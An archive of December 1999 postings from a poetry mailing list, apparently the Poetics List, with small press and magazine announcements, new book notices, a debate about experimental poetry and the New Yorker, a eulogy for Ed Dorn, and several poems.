This weeks Small Press List is up & running @ duration press. Given that the deadline for the next list would be New Years Day, I will be giving this round a month's go. Therefore, the deadline for the next posting will be January 14th. I will make announcements as time approaches.

Best wishes to all for the coming year.

Jerrold
www.durationpress.com

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244. Angle Press Angle Press

Angle Magazine

Mon 20 Dec 1999

Hello

We should say quickly, and only because we're still receiving manuscripts, that Angle magazine has folded...in half...and is no longer publishing. And is defunct. Or no longer existing.

We'd like to thank all the lovely people who contributed to all five of the issues.

The press still operates. New things to come. Maybe "Athletic Writing."

What do you say to that guttural cruller?

Charmed,

D.F.

aka B.L.

_____
Get Your Private, Free Email at http://www.hotmail.com

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245. Kristin Dykstra
new Stein list
Mon 20 Dec 1999

Apologies if this already came around--

--On Thu, Dec16, 1999 2:02 PM -0800 "Sonja Streuber"
<[redacted]> wrote:

> *Dear all,*
>
> *Stein-L is finally up (as of 4:30 a.m. today--blame too much Dr. Pepper for this!), and I would like to know where you think it would be appropriate to announce this new list (on the art of Gertrude Stein). I am bringing fliers to the MLA convention, but I'd really love to get the word out much earlier, so any information about other modernism/queer theory/women writers etc. lists and/ or audiences that would be potentially interested would be highly welcome.*
>
> *Thanks!*
>
> *Sonja*
>
> *-*-*-*

246. **Pierre Joris**
New Books
Mon 20 Dec 1999

Just out, these four items:

1: _h.j.r._ by Pierre Joris, OtherWind Press, Ann Arbor, 1999. $8.00 ISBN 0-9626046-4-X. Available in the USA from SPD (http://www.spdbooks.org/) and in the UK from Peter Riley Books ([redacted])

2: _Towards a Nomadic Poetics_ by Pierre Joris, Spanner #38, summer 1999. Available from Peter Riley (as above) or from Allen Fisher / Spanner / 14 Hopton Road Hereford HR1 1BE in the UK or from the author (see address below) in the USA. This is the Gutenbergian version # 2.0b of the manifessay / companionpiece to the poems of _h.j.r._

3: _Out/Takes_ by Pierre Joris, Backwoods Broadsides, Chaplet Series #46 ($1.00) [Backwood Broadsides c/o Sylvester Pollet, 963 Winkumpaugh Rd. Ellsworth ME 04605-9529]

4: _Empedocles's Sandal_ by Habib Tengour, translated from the French by Pierre Joris. Duration Press, Sausolito, 1999. $5.00 (http://www.durationpress.com)

Born in 1947 in Mostaganem, Eastern Algeria, raised on the Arab and Berber voices of marketplace storytellers, Habib Tengour has lived between Algeria and Paris ever since. Trained as an anthropologist and sociologist, he has taught at universities in both countries, while emerging over the years as one of the Maghreb's most forceful and visionary francophone poetic voices of the post-colonial era. The work has the desire and intelligence to be epic, or at least to invent narrative possibilities beyond the strictures of the Western / French lyric tradition, in which his colonial childhood had schooled him. Core to it is thus the ongoing invention of a Maghrebian space for and of writing, the ongoing quest for the identification of such a space and self. Besides a range of lyrical works - works that always stretch the imagination of what the lyrical can be - such as Schistes de Tahmad 2 (1983), Tengour's main books are the narratives Le Vieux de la Montagne (called a "Relation," 1983), the retelling of the story of that most famous Arab triumvirate of Omar Khayyam, Hassan as-Sabbah and Nizam al-Mulk, Sultan Galiev, (1985) and two prose narratives, L'Epreuve d l'arc (1990) and Gens de Mosta (1997). His work has been translated into German and Italian.

I had hoped to be able to also announce that my translation of _Threadsuns_ by Paul Celan would be out from Sun&Moon, but at this point it would seem that the book won't be ready before January/February 2000.

May you all have a happy fin-de-siècle!

Pierre _____ Pierre Joris The postmodern is the condition of those 6 Madison Place things not equal to themselves, the wan- Albany NY 12202 dering or no- madic null set (0={x:x not-equal x}). Tel: [redacted] Fax: [redacted] Alan Sondheim Email: [redacted] <mailto:[redacted]> Url: <http://www.albany.edu/~joris>

_____ _

↑ Index

247. Maria Damon
minor honking
Mon 20 Dec 1999

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just rec'd my contributor's copies of the Outlaw Bible of American Poetry (thunder's mouth press, edited by alan kaufman). check out Bob Kaufman pp63ff, overview provided by yours truly. they spelled my name "damun," and i got the mariners' unions mixed up (i finally understand a bit the tangled politics of that scene, after over a decade of thinking the wrong thing) but otherwise it's nice to see my name in print in such a venue and for such a purpose.

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248. rebecca wolff
Luscious Jackson Nothwithstanding
Mon 20 Dec 1999

Dear Brian,

Geeez. Where to start. First: I see what you're saying.

And I agree with lots you said, or at least certainly agree that these are good arguments as to how the affirmative action analogy is lame, and how it is not to be assumed to be a good aim for any ray of light to give credence to whatever power the New Yorker's poetry editor might wield. On the other hand-and this is the not-so-big idea behind Fence, which I edit, and which does attempt the kind of "aesthetic merging" that is by necessity and intention superficial, in that it only entails juxtaposing poems on paper inside a product-I also want poems that I like to have a wide audience.

The New Yorker has significance to me as a landmark--not cultural but commercial--and irritant. My father reads the New Yorker. When my father (tries to) talks to me about poetry, he talks about the last poem he read in the New Yorker. A whole lot of people--the large constituency you spoke of--try to read poems by reading what's in the New Yorker. I don't have figures, but I do have the backlogged memory of dozens of frustrating exchanges with general

readers trying to engage by bringing up the New Yorker in conversation when they hear that I write poetry. I am interested in the general reader. So I just can't be interested in ignoring this entity, or others like it. I am more interested in a hampered, handcuffed attempt to engage with it, however much that may be inherently on its terms rather than on terms of my own making. I do not make my home, write poetry, nor have my job, family, circle of acquaintances, etc., solely, or even mostly, within the experimental poetry community. So if I want my poetry, and the poetry I care about, etc., to be a part of my world--and I do--then it's more fun for me to do what little actions I can (publishing, voting, reading, whining about the bad poetry in the New Yorker) to bring other people into contact with that poetry. I find the other model to be gratuitously alienating, when I have already gone through the alienation thing.

Alice Quinn (poetry ed. of New Yorker) has a subscription to Fence. Fence is, among other things, an attempt to engage commercially with a hypothetical general reader, and to introduce or make available to that reader poetry--"experimental" and also just tricky/challenging/idiosyncratic--that is otherwise "kept from" that reader by systems already in place that take as starting points suggestions just such as the one you make by implying that there can be no fruitful interactions between these bodies of readers. Most interesting to me in your response is this:

"A kind of thoughtless merging of poetics tends to gloss over the fact that there are very particular attitudes that some of these "radical" poets possess toward assimilation into the dominant culture, that it isn't just a game to want to reject certain types of identities and aesthetic closures, and that many of us feel that we could write great poems for the New Yorker on any given day but don't."

I'm really undecided and occasionally bemused over the question of whether anything that is performed through the medium of poetry can have the effect of picking someone up and setting them down outside the dominant culture. It seems to me that we are all helplessly at play in the fields of the dominant culture. That may be even more cynical than the suggestion that "we" (those interested in certain kinds of poetry) ought to and must ignore and be ignored by it or be swallowed and spit out as glib poetry Gap ads. Luscious Jackson notwithstanding.

How's that for a heartfelt (though I hope not to be perceived as taking your comments "personally" in the sense of taking affront; I appreciate your engagement with the whole shmegeggy) reaction.

Date: Tue, 14 Dec 1999 14:26:59 -0500
From: "Stefans, Brian" <[redacted]>
Subject: Prynne

Hi Rebecca,
> It seems to me that this same argument could be used to suggest that affirmative action laws should be abolished.
With all due respect (and this email isn't about you, just this idea), this doesn't strike me as a very good analogy, and indeed symptomatic of some thinking on how poetry is intended to effect culture (when such intensions are hinted at or stated). The New Yorker is hardly Congress, nor is it something one would think could be fetishized as "society" -- it's really a very specific magazine for a specific group of people, even if it's a very large group. If you start imagining it as some avuncular entity, some sort of big daddy (or mommy, either way) authority whose mind you hope to change, then you get into trouble (not to mention the fact that the New Yorker can go away, go bankrupt, if we want it to but society cannot).

But part of the problem with these ideas of aesthetic merging -- i.e. lets break down the walls of these aesthetic camps and just meet halfway -- is precisely when it extends to places like the New Yorker, which has always been a non-entity and should remain that way, and when it is not truly in the service of a complexity of thought on these matters which, we agree, are so important (and if "they" don't seem prepared or willing to keep up with "us," that's not our concern). As it is, the New Yorker can change in a split second, as it did when Tina Brown took over (she's gone, of course): in their first (or one of their first) issues after she landed, there was a gorgeous full page picture of W.H. Auden in a long overcoat in the snow staring, melancholic as it's possible to perceive behind his drapes of wrinkles (here I'm getting belle-lettristic) with a very long poem on the facing page, something like the In Praise of Limestone but I can't remember exactly. Now, anyone could have looked at that gesture of hers as a "sign of something new" or a "change for the better" as if it were on her hit list of cosmetic changes along wit Art Spieglman covers and (was she responsible for this?) Peter Scheldahl. I have, really, no idea how she followed up that gesture though I don't remember too many more photos of poets, nor better poetry, coming in it's wake. What's striking is that Auden, for whatever the readers of the New Yorker knew, could have just as easily been described as a "Cambridge don" (of course he wasn't) -- in other words, he's English, an amenable exotic, and despite his leftism and flirtation with experimental poetics and, one might say, his homosexuality, he wasn't threatening to the New Yorker readers sense of culture (he wrote opera librettos, too) and their mastery over it. Anyway, all I'm saying is that, in my opinion, there's no reason to even want to change the New Yorker, nor to equate it with any sort of cultural legitimacy in terms of what this loosely defined "we" are trying to do. The New Yorker will never spread a greater understanding of experimental poetics unless they know how to sell it or assimilate it into whatever else it is they sell (culture, events,

opinion), which of course they won't (because of idiots like us). In that way, it's hardly a "ray of light" but a rather wide swath of darkness -- not neutral even, but kind of negative (though on any other day I'd say it's pretty neutral). I think Prynne should win that award, whatever the hell it is, because I can't get over how great some of those poems are and that, in general over here, we don't know much about him -- it's like Hopkins or Dickinson coming to light. But it would be sad to see that the first widely disseminated writing on Prynne would be a fluff article in the New Yorker, but then again, if they print one of his poems, Prynne seems prepared: his writing is almost armored against any easy discursive assimilation, while being so formally crystalline as to not "go gently" into the anonymity that the magazine seems to want to cloak its authors in, not to mention the chummy garbage they'd probably want to spread about him. Ok, this all sounds terrible cynical. Here's another example (my facts will be all wrong here), an English one, which had to do with Iain Sinclair's editing of the Palladin poetry series, which got books by folks like Allen Fisher and Bill Griffiths into the "mainstream." The books didn't sell all that well, the publisher decided to stop the series and pulped the entire print run -- not drop them in used book stores like, say, I do, or keep them in their attics for posterity or whomever might be interested, just destroyed them. "Their" laws are just too different from "ours" in this way. Another example: David Lehman has to write a book on poetry, and decides in the last chapter, while he had his moment behind the "bully pulpit", to get out all his grumpiness on the charlatans he feels have filled the shoes of immortals unjustly(one of his sestinas was rejected from L=A=N=G=U=A=G=E, I hear). He does this while answering a few calls, changing the ribbon in his typewriter and listening to Rachmaninov (like his heroes, right) -- in other words, here he is engaged in serious intellectual activity that affects, in direct and indirect ways, great numbers of people, and he doesn't care enough to think through his ideas, read any of the literature, etc, or to even quote from it adequately (only in censure), but has no scruples about weighing in with a moral judgment that, to those who don't know better, can be taken for the general opinion on things (like, "disco is out"). Ethics, ethics, ethics. So I go to Montreal a few months back and, trying to dig up some Earle Birney books (they didn't have them) discover that the only book I can find of "New York school" poetry in the stores in Lehman's! The essential continuity, throughout these examples, is that none of these central, big publishing outfits ever took the time to care about the work they were presenting in an effort to be hip; it's all very cynical and manipulative. Which is why Prynne is great: he's only had one or two "trade" books and the rest, I think, were small chapbooks; he doesn't write reviews far as I know, and I think there is a kind of built in auto-critical aspect to his poems, whereby they have very attractive, almost conservative (or "formal"), surfaces (they even look good hanging on a wall from across the room) but you can't simply breeze through them, follow the

stately rhythms (they change constantly) nor do you just wait for the good jokes or accept them as some sort of "experience in language" -- his own little controversy with McCaffery over language poetics seemed to center around this aspect of the "play" of language, the semantic slippage, as providing a sort of ease for the reader rather than the difficulty he wanted. I think there's an ethical dimension to his "difficulty" and that part of it has to do with this relationship to other forms of literature -- mainstream, the media, whatever -- that don't trouble you into thought. It has a relationship to a variety of things, actually, and I don't claim to understand them all. But part of the problem with these ideas of aesthetic merging -- i.e. lets break down the walls of these aesthetic camps and just meet halfway -- is precisely when it extends to places like the New Yorker, which has always been a non-entity and should remain that way, and when it is not truly in the service of a complexity of thought on these matters which, we agree, are so important (and if "they" don't seem prepared or willing to keep up with "us," that's not our concern). The difference between two poor and ignored "experimental" writers in New York who don't write like each other is nothing compared to the difference between them and the writers that the New Yorker habitually tends to; then again, if the difference between those two (poor and ignored, etc.) writers is in their attitude to the New Yorker (standing in for other cultural institutions) it may in fact be a big difference and worth investigating. A kind of thoughtless merging of poetics tends to gloss over the fact that there are very particular attitudes that some of these "radical" poets possess toward assimilation into the dominant culture, that it isn't just a game to want to reject certain types of identities and aesthetic closures, and that many of us feel that we could write great poems for the New Yorker on any given day but don't. Artaud wrote that "all writing is pigshit," or something like that, and at about the same time (the first half of the century) Brecht was giving an important literary award to a poem about a local bicycling star (it was called something like "Hey! hey! the Iron Man!" -- that's not even close but something like that). Why do people do things like this? I don't know, but a lot of us are still doing this very thing in more subtle ways today -- being "moral exhibitionists" in some quasi-nihilistic manner, and our art and maybe in our lives -- and to think that it's because we are really scratching at the doors of Culture wanting to get in is missing something very important. I couldn't see Prynne as a "ray of light" for the New Yorker because, after all, he would refuse to go to their parties -- it's part of him not to be this light. "Good" gestures by the New Yorker confuse the point, especially when they transcend the words and actions of those they affect (in this case poets who aren't considered to possibly have social powrer of their own), though then again probably brings it to a head. Ah, the patronage issue again... 1930's anyone? I feel like I missed an earlier point, which had to do with the initial linking of social activism with changing the New Yorker, but if you graph out what exactly the entities are in these respective

exchanges perhaps that's better -- use colored markers. Well, but anyway, my apologies for using your very short email for this William Blake moment, but I had some free time today. Cheers, Brian

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249. Leslye Layne Russell

Able Muse Review -- premiere issue announcement

Tue 21 Dec 1999

Friend Alex Pepple asked me to post this announcement to this list.

Layne

Alex Pepple wrote:

> *The premiere issue of Able Muse --*
> *a review of metrical poetry, prose and arts, including a literary discussion forum: listen to the poets reading their poems in Real Audio; visit the art show by the featured artist, Misha Gordin; have a laugh or two at the Light Verse section, & check out the literary/poetry forum. It's now online at:*
>
> *http://www.ablemuse.com*
>
> *Featured Poet: Beth Houston.*
> *Featured Artist: Misha Gordin.*
>
> *Poetry: Andrea Hollander Budy, Patrick Daly, Rhina P. Espaillat, Steve Harris, Mark Jarman, Len Krisak, Sandy McKinney, Karen Tellefsen, William John Watkins.*
>
> *Book Review: Charlotte Muse.*
> *Essay: Anthony Robinson.*
> *Interview: Alex Pepple.*
>
> *Check it out, and, stop by the literary forum.*
>
> *...Alex Pepple* [redacted]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

http://www.sonic.net/layne
A Quiet Place
"In this rose light, time's door does not close."

↑ Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

250. **Mark DuCharme**
Re: event postings
Tue 21 Dec 1999

We're sorry. Boulder, Colorado.

> *From: Damion Searls <[redacted]>*
>
> *LEFT HAND READING SERIES PRESENTS:*
> *[...]*
> *Thursday, December 16 at 8:30pm*
> *Left Hand Books, 1825 Pearl Street, between 18th & 19th, above the Crystal*
> *Market.*
>
> *When advertising events on this list, can you be sure to put the city?!*
> *(putting it in the message title would be even better).*
>
> *Thanks,*
> *Damion Searls*

Get Your Private, Free Email at http://www.hotmail.com

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251. **Alan Sondheim**
Traceroute Project URL
Tue 21 Dec 1999

The Traceroute Project - please participate if you can, December 31 - January 1.

The URL for the trAceroute project at http://trace.ntu.ac.uk is http://trace.ntu.ac.uk/writers/sondheim/trace.htm

Check it out when you have the chance.

Alan

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252. **Alan Sondheim**
Barry Smylie / Alan Sondheim collaboration
Wed 22 Dec 1999

---

quite near the Winter Solstice - check out

http://24.64.186.222/alan/youwill.swf

- Alan, Happy Holidays in the dark world

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253. komninos zervos
Re: Report on the Electronic Poetry Center, Dec. 1999
Wed 22 Dec 1999

---

congratulations, you do us all a great service by your existence.
i feel a part of a community of poets globally.
komninos

At 01:24 P

M 12/16/99 -0500, you wrote:
>EPC REPORT -- POETICS LIST December, 1999
>----------
>---------
>
>The Electronic Poetry Center, now after almost six years of operation, has
>established itself internationally, nationally, and at UB as a significant
>web-based resource for poetry and is one of UB's most visible digital
>projects.
>We wanted to give a report on the EPC, including some information not easily
>available. Please contact us if you would like more information.
>
>Loss Pequeño Glazier, EPC Director
>Charles Bernstein, EPC Executive Editor

komninos cyberpoetry site http://student.uq.edu.au/~s271502 komninos zervos lecturer in cyberStudies griffith university gold coast australia [redacted]

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254. Rachel Loden
Poetry Daily, British irony
Wed 22 Dec 1999

My poem "about" snow, test marketing, and Vigdís Finnbogadóttir (the former president of Iceland) is at the Poetry Daily site today:

http://www.poems.com/

and the title poem from Paul Hoover's TOTEM AND SHADOW (from yesterday) is in the archives--click on "Previously on PD..." from that main page.

Somebody pointed me to a piece on British irony in _The Economist_:

http://www.economist.co.uk/editorial/freeforall/current/index_xm3604.html

Not sure whether that URL still works, but here's a bit (and I have the rest if anybody wants me to post it):

"The British urge to puncture grandiose visions is captured in a (possibly apocryphal) story about Sir Oliver Franks, when he was Britain’s ambassador in Washington after the war. A journalist asked leading ambassadors what they desired in the coming year. The Russian ambassador mentioned the liberation of colonial peoples; the French ambassador spoke of a new era of peace and international co-operation. Sir Oliver expressed a desire for a small box of crystallised fruit."

There's discussion of the supposed lack of irony in colonial outposts (as perceived by our man in Manila or Bangkok). So is irony a post-imperial luxury, part of the "management of decline"?

* - * - * - * - * - * - * - * - * - * - * - * - *

Rachel Loden

http://www.thepomegranate.com/loden/hotel.html

email: [redacted]

* - * - * - * - * - * - * - * - * - * - * - * - *

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255. Pritchett,Patrick
Re: Ed Dorn
Wed 22 Dec 1999

Excerpts from Jeremy Prynne's eulogy, as it appeared in the Boulder Planet, 12/22/99. Bracketed comments by reporter Jim Sheeler:

"It is always sad when a voice you know falls silent, but there are some voices who never fall silent. His voice will survive as long as his readers draw breath and turn the pages of his work."

[Prynne stood over the site at Green Mountain Cemetery ... holding a rose from another. The rose was flown in from Italy, taken from the grave of Ezra Pound].

"We are here to pay our last respects to Ed Dorn. His profession, his task and his calling was to be a poet. They are not so usual in this day and age. His was a voice that was often angry. His words will continue to enrage as long as there is power for people to be enraged ... He was impeccable in his opposition. He was compelled never to take any shit from anyone ... Perhaps I shouldn't use that word. But sometimes you have to use the right word."

Some of you may have seen this already as it was posted by Robert Kelly to the British poets list. It bears repeating, however:

"Feeling simply, directly, sad about the death of Dorn, and testing one memory against the other, to offer you something that might stand up to the power of the news of him that came through from time to time, words from divers winds of how he held himself aloft above his sickness, wouldnt give it the time of day.

In 1972 or so I was poet in residence at Cal Tech, amongst the scientists and anxious technocrats. Ed Dorn came to read, and gave one of his usual, wonderful, 24 minute assaults on the ordinary. The format permitted questions, and early on, a student I'd never met before asked, with ill-concealed contempt for poets and their no doubt suppositious theologies, "Mr Dorn, what do you believe in?"

Ed paused for a very long time, fifteen seconds perhaps, looking at the student, his face fiercely unchanging, and then said, in a quiet voice, "Language."

And that was the end of it. Even that audience was silenced.

He surely kept the faith."

Robert

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256. James Sherry
roof books new title offer
Wed 22 Dec 1999

Publisher's Weekly just published a review of the Roof Book's POETICS@:

"the discussions of 'The Social Poem', of the controversy surrounding the lit-mag Apex of the M, and of gender in poetry and criticism, among others, are more exciting and brimming with ideas than almost any journalism or academic criticism. This collection will reward those readers diligent enough to meander among unfamiliar companions and notions, and makes a handy compendium of some of the more substantive goings-on for those in the know."

ROOF BOOKS has made a special offer to this list and here it is again for those who missed it and still want to order--
*****

ROOF Books has just published two new titles:

[redacted] by Joel Kuszai ($18.95/192pp) ? 133 e-mails from this list
&
Gorgeous Plunge by Michael Gottlieb ($11.95/96pp) ? new poetry

ROOF would like to offer them to this list only for a substantial discount. Orders from members of this list can buy the books for:

****

poetics@ $15 & Gorgeous Plunge $9 including postage (which costs us $3)

If you order both books, total cost including postage is $20

You'll save $14

To order, please send your check or money order with your mailing address to:
Segue Foundation
303 East 8th Street
New York, NY 10009

Contact: James Sherry [redacted]

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257. William Slaughter
Mudlark Announcement
Wed 22 Dec 1999

New and On View:

MUDLARK POSTER NO. 20 (1999)

SEVEN POEMS by MICHAEL CADNUM

Spread the word. Far and wide,

William Slaughter

_____
MUDLARK
An Electronic Journal of Poetry & Poetics
Never in and never out of print...
E-mail: [redacted]
URL: http://www.unf.edu/mudlark

Michael Cadnum is author of fifteen novels, including RUNDOWN (Viking), IN A DARK WOOD (Orchard Books), and SAINT PETER'S WOLF (Carroll & Graff). Cadnum has also published several collections of poetry, including THE CITIES WE WILL NEVER SEE (Singular Speech Press) and a picture book for children, THE LOST AND FOUND HOUSE (Viking).

His sixteenth novel, THE BOOK OF THE LION, will be published by Viking in Spring 2000. Cadnum lives in Albany, California.

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258. **John Tranter**
Announcing Jacket # 9
Thu 23 Dec 1999

Jacket is a free literary quarterly published on the Internet by Australian poet John Tranter. If you don't wish to receive these notices of new issues of Jacket (I send out about six per year), please say so, and I'll take your name off the mailing list pronto. If you know someone who'd like to receive these notices, please ask them to send me an email. -
J.T. .....

"...and God comes up on the radar."

Gig Elizabeth Ryan

Just in time for Christmas reading!
And as the year 2000 loomed over the horizon, the "hits" counter on Jacket's home page clicked over the 200,000 mark. Psychic!

Join the throngs of happy customers;
visit the new issue of Jacket via the homepage URL:

http://www.jacket.zip.com.au/welcome.html

featuring:

* Tom Clark's obituary for poet EDWARD DORN (1929-1999)

"... Maybe it's in part because he had a lonely and precarious beginning in life that later on Dorn always liked to surround himself with congenial company...The great honor of friendship he conferred on me was to number me as an outrider of that party of outriders, along with other diverse disparate friends."

* REVIEWS:

Andrea Brady on John Wilkinson's "Reverses"
Robert Sheppard on Bob Cobbing, in honour of his 75th birthday
Robert Sheppard on Ulli Freer
Pete Smith on Jennifer Moxley
Nathaniel Tarn reviews "Selected Non-Fictions" by Jorge Luis Borges, Eliot Weinberger (Translator), Esther Allen, Suzanne Jill Levine
Mark Wallace on Carl Thayler's "Poems from Naltsus Bichidin"

* P O E M S :

Angie Angel
Francisco Aragon
Louis Armand
Andrea Brady

Pamela Brown
Tom Clark
Henry Gould
Kate Lilley
Geraldine McKenzie
Ralph Monday
Alice Pero
Leonard Schwartz
Robert Sheppard
Carl Thayler

* INTERVIEW : Australian poet and playwright Dorothy Hewett interviewed by Nicole Moore "...I can remember when I was living in Redfern, one of the jobs I was given was to organize women, so I thought, oh well, the obvious people to start with are the wives of the Communist Party activists, so I started calling on them all. And their husbands were furious, absolutely furious! How dare she come and interrupt our peaceful, domestic lives where the wife does everything and I go out to my meetings . . ."

F E A T U R E S :

* NEW! Seven early letters of Araki Yasusada by Tosa Motokiyu "...Do you have a wife? A question is repeated! Not I. I love a girl on a street of shops, third floor. In the later letter I will say of her. For presentness, I will tell you: her sexual hair is a whole forest, smelling after rain falling. It is very dark within there. A bird is singing. Bodies in piles are burning."

* Robert Sheppard on Robert Sheppard: Twentieth Century Blues

* NEW! Nathaniel Tarn: ON OCTAVIO PAZ . . . and the Future of Poetry

"... now I believe our average poet, if it can survive, is lucky to be something like a liver fluke progressing through the guts of a sheep."

* OLD! Great Moments in Literature No. 9 - New York City, 23 April 1951 - First successful test of "Poetry Machine" - with photo! - Hiram Bamburger's amazing "Linopentametron"!!!

. . . and lots of refreshing graphics!
.....

...you can also sneak a preview peek at Issue #10 of Jacket , at:
http://www.jacket.zip.com.au/jacket10/index.html
. . . now partly built, and already featuring:

Marjorie Welish: The Lyric Lately (a work-in-progress)
Charles Bernstein: Introducing Barbara Guest
Lytle Shaw: On Coterie: Frank O'Hara

Thomas Bell on McCaffery and Rasula's "Imagining Language: An Anthology"
Norman Finkelstein reviews Armand Schwerner
and poems by Kate Lilley, Lytle Shaw, Pete Spence, and Nathaniel Tarn
.....

Jacket is a free literary quarterly published only on the Internet by
Australian poet John Tranter. All past and current issues are always
available. Trim, taut and terrific - quick and quirky - no ads, no frames,
no Java! If you like Jacket, please tell your friends.
END
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tel ([redacted] fax ([redacted]
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Homepage: five megabytes of glittering literature, free, at
http://www.alm.aust.com/~tranterj/index.html
visit Australian Literary Management, at
http://www.alm.aust.com/~lyntranter/index.html

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259. **Alan Sondheim**

Kungupi Emes

Fri 24 Dec 1999

\

Kungupi Emes

"Fun yidishe reyd ken men zikh nit opvashn in tsen vassern.
Ten waters will not cleanse you of Jewish talk.
Fun loyter hofenung ver ikh nokh meshuge.
Overfeed on hope and you'll sicken with madness."
(from Yiddish Proverbs, ed. Ayalti.)

"Hej! hej! hej!
Noa, hej!
Noa, hej!
Kanutpia, hej!
Kanutpia, hej!
Nihantsi suruchu kanutpia, hej!
Kanutpani hitia, hej!
Numbintinya, hej!
Nihirseisaka, haketpia, hej!
Noa, hej!
Noa, hej!

Kahetpia, hej!
Nikasneiti, hej!
Eitgamue, hej!
Pingerati, hej!
Maketi, hej!"
(from Blood Revenge, War, and Victory Feasts among the Jibaro Indians of Eastern Ecuador, Karsten.)

Hey, hey, hey, woman, hey, woman, hey, fuck, hey, fuck, hey, may the tsantsa grant the fuck, hey, fuck, hey, fuck, hey, fuck, fuck, hey, woman, hey, woman, hey, fuck, hey, let it happen, hey, so we'll do it, hey, let it be nice, hey, it's enough!

"Az der Yid is gerekht, khapt er ersht di rekhte klep.
When a Jew is right, that's when he gets a right good beating."

"Shuara hiniwui, The enemy leaves the house!
Awuimaipa, Don't let them escape!
Ihuta, ihuta, ihuta, Lance them! Lance them! Lance them!"

"A blinder ferd treft glaykh in grub arayn.
A blind horse makes straight for the pit."

"Masteitimi, They won't kill us!
Mandoastatami, They won't take our lives!
Wuittatai, They will retire!
Hinikitai, We will be able to escape!"

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260. Poetics List
from Alan Sondheim
Fri 24 Dec 1999

Date: Thu, 16 Dec 1999 22:52:56 -0500 (EST)
From: Alan Sondheim <[redacted]>
Subject: more from the Doctor

more from the Doctor - serration and the birth of language

there's a mark in the sky
there's a hole in my head
there are plants in the sky that are doubled
there's a spark in the fire
there's a bone in my foot
there are fields divided, quadrupled

i slide word to word, i fly way up high,
the signifier seems all too dead,
but i know in my mind that is troubled,
i'm decatecting, i knew, and it's dire,
in the midst of the root of the sign
in the wire,
where plains and mountains are peopled,
where mountains and people asserted
against tribes of the plain and their tablets

do you know what i mean when space is serrated,
signs rustle against one another,
codes are codes, signal loads, perforated
in the language-formation of the other

the analog smooths, integration's the rule
across details, chaos, fractal recursions,
while digital cuts, differentiation's the tool,
noise explodes, language codes in incursions

the serrated edge carries the meaning of grain
of the voice, of the sign foreclosing
on referent, in relation to body and pain,
in relation to fundamental disclosing

the tree has a branch always lending itself
across the metaphysical sheet of assertion,
self-organization lends tending, it's left
the rest of the flesh to inversion

serrations grasp and divide,
they hold themselves taut in defining,
meandering balks from side to side
the subtext always declining,
articulation is always reclining

serrations repeating gives meaning to text
against structured repetition in the real,
this bursts through desire, body and sex,
intercourse gives birth to the seal

let it go, serrated rhymes carry the words
to other spaces and places desired,
think of nested times, think foreclosing surds,
the tablets already are fired

- Doctor Leopold Konninger

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261. Poetics List
from Jim Andrews
Fri 24 Dec 1999

Date: Thu, 16 Dec 1999 21:10:14 -0800
From: Jim Andrews <[redacted]>
Subject: A L Y R I C M A I L E R at Defib this Sunday

DEFIB, SUNDAY DECEMBER 19, NOON PST (19:00 GMT)
Thomas Bell, Mike Kelleher and a l y r i c m a i l e r at Defib
http://webartery.com/defib

A L Y R I C M A I L E R Thomas Bell and Mike Kelleher are leading a project for the magazine a l y r i c m a i l e r featuring work by themselves and Jim Rosenberg, Loss Pequeño Glazier, Inna Kouper, Ted Warnell, Jim Andrews, Clemente Padin, and miekal and on the poetics of the field. As Thomas says:

"In this context 'field' represents a space with height, width, and depth, filled (or emptied) of words or pictures. The concept has a history in 20th century poetics dating back to Futurism; is related to Olson's Composition by Field, and Duncan's hermetic studies; and is the space in which a true intertextuality might be imagined."

The nine participants start out with their own work and then write toward the work of the others, re-writing and linking toward a loose net or field of texts relating in their own and related ways to this notion of the field.

DEFIB Defib is webartery.com's live online web artist interview surf show. The live IRC sessions are recorded and the transcripts produced into hypertexts at http://webartery.com/defib/pastevents.htm. Tech requirements: a java enabled browser pointed at http://webartery.com/defib

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262. Poetics List
from Kathy Lou Schultz
Fri 24 Dec 1999

Date: Thu, 16 Dec 1999 23:13:08 -0800
Subject: Re: class stand
From: "Kathy Lou Schultz" <[redacted]>

Please, Katie, no one has suggested -- least of all me -- that anyone should "focus solely on class when discussing poetics." The fact that you misread my

posts and the Poetics List in general to such a high degree that you believe this to be the case, and that you make such statements as "ALL ANYONE EVER TALKS ABOUT IS CLASS" and "It might be good for you to get off your collective classes once in a while" indicates something akin to defensiveness on your part. The fact that you still seem to believe that discussing the "sociopolitics" of poetry is somehow separate from "formal" issues suggests to me that you just aren't getting it. And whoever said that I (or "we" the List) were focusing only on the "poet's class"? Why is it personal? What about reading the text? An example comes to mind here concerning critical practice: Houston's Baker's Modernism and the Harlem Rennaisance. Baker argues persuasively that the defining moment in African-American modernism is Booker T. Washington's 1895 address to the Negro exhibit of the Atlanta Cotton States and International Exposition, which Baker reads as an enactment of the performance of minstrelsy: "And it is, first and foremost, the mastery of the minstrel mask by blacks that constitutes a primary move in Afro-American discursive modernism" (17). This "mastery of form" is an example of radical "back talk" for the African-American speaker/writer. In learning to manipulate the dominant discursive practice -- which in this case was the vernacular -- Washington negotiated an effective method of black speaking in which to "talk back" to the oppressor. Therefore, use of "black vernacular" or the "authentic voice" must be understood within is historical moment. Indeed, the mastery of form had to take place in African-American literature before what Baker calls the "deformation of mastery" could occur. I raise this example because it is one in which lack of awareness and analysis of the socio-politcal context of African-American writing would have made this very astute argument impossible -- and it is an argument which is intimately wedded to an analysis of form.
^^^

> *And, for you and everyone else, just to clarify once again: the theme of my original post wasn't "who cares about class" but "why is class the main concern on a poetics list?" As I said in a private post to Kathy (her original response was sent to me only and forwarded to the list a day or so later; I didn't keep a copy of what I sent her privately, so I must paraphrase): I completely agree that 'class/race/gender/blah blah blah' does infuse the writing of everyone who writes.*
>
> *But, as Leonard pointed out, if class is a part of poetics, it doesn't follow that a discussion of class is automatically a discussion of poetics, and focusing solely on class when discussing poetics is like wearing blinkers -- they may be differently configured than the blinkers of those who, in KLS' words, stick their "head in the sand, in effect saying 'don't talk about things like racism that make me uncomfortable,'" but they're still blinkers. To pick any one filter through which all poems must be processed is extremely limiting -- to go from the limitations of one particular class (e.g., the "administration of culture") to an arena in which a poet's capital-c Class is the primary concern when evaluating his or her work is barely an improvement.*

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263. Poetics List
from Doug Lang
Fri 24 Dec 1999

Date: Fri, 17 Dec 1999 09:15:26 -0500
From: Doug Lang <[redacted]>
Subject: Re: apologies re Tom

David,
This shows admirable Grace under Rebuke.
Doug

david bromige wrote:

